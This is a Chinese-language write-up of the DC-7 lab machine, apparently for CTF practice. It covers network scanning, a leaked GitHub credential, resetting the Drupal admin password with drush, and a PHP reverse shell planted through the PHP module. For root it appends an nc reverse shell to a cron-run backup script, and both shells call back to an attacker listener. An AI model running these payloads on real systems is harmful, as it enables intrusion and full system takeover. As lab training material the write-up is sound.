DC-7

kali 和 DC-7 都为NAT模式 保证在同一个网段下 可以相互连通。记得设置获取MAC地址

信息收集

1
arp-scan -l     #扫描指定网卡下面的全部IP。

图片

通过扫描可以判断DC-7的IP为 192.168.79.132。

1
nmap -p 1-65535 192.168.79.132  #扫描全部端口探测开启的服务。

图片

可以清楚的看到,DC-7开启了 22 和 80端口。
浏览器访问80端口的http服务 http://192.168.79.132
图片

很明显是Drupal的cms框架,搜了下漏洞也不是突破口

图片
后来在这里发现

这个靶场属于git源码泄露。

直接google 搜索 @DC7USER。

图片

图片

里面记录了数据库账号密码 尝试后台登录发现不行。

但是可以登录ssh 有点邪门。

获取后台账号密码

1
2
ls          #发现一个mbox文件 进去看看。
cat mbox

图片

发现里面有一个定时任务 用root 运行/opt/scripts/backups.sh。

图片

查看下权限什么的,发现www-data拥有执行和写的权限,我们当前权限没有写权限,看来没办法动手脚了。

但是如果我们获得了www-data的shell 那就可以写点东西进去,然后依靠计划任务,用root去运行,那么我们可以获得了root权限的shell了。

查看下 /opt/scripts/backups.sh 内容。

图片

可以看到命令是进入 cd /var/www/html/ 后执行drush。

然后去百度看看 drush是干什么呢?

Drush(Drush = Drupal + Shell)就是使用命令行命令来操作Drupal站点,它的命令格式与git类似,都是双字命令(drush + 实际的命令)。

1
2
3
4
5
6
drush user-password admin --password="new_pass" 
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin 123456为我修改的密码。
drush user-password admin --password="123456"

图片

这样子就修改成功了。

去后台登录下。

获得www-data的shell

登录后台。

进入到后台管理页面 然后就找写webshell的地方了。

图片

发现Content里面可以编辑文章。

发现Extend里面可以安装新模块 试试可不可以安装php。

1
2
php 插件下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

直接安装投入使用即可。

可以看到多了一个PHP解释器。
写入一个php 反弹shell的脚步。

1
2
3
4
5
6
7
8
9
<?php
$sock = fsockopen("192.168.79.128", "5555");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);?>

成功反弹shell。

1
2
3
4
#记得开启nc侦听。
nc -lvvp 5555
python -c "import pty;pty.spawn('/bin/bash')"
#利用python 弄个交互页面

提权

1
2
3
4
5
6
7
#向
/opt/scripts/backups.sh
#内写入反弹shell的脚本
#用bash nc都可以 我这里用的是nc
echo "nc 192.168.79.128 12345 -e /bin/bash" >> /opt/scripts/backups.sh
# 记得kali也要开启侦听
nc -lvvp 12345

图片

要等比较久 要等他计划任务执行 ,然后就获得flag了!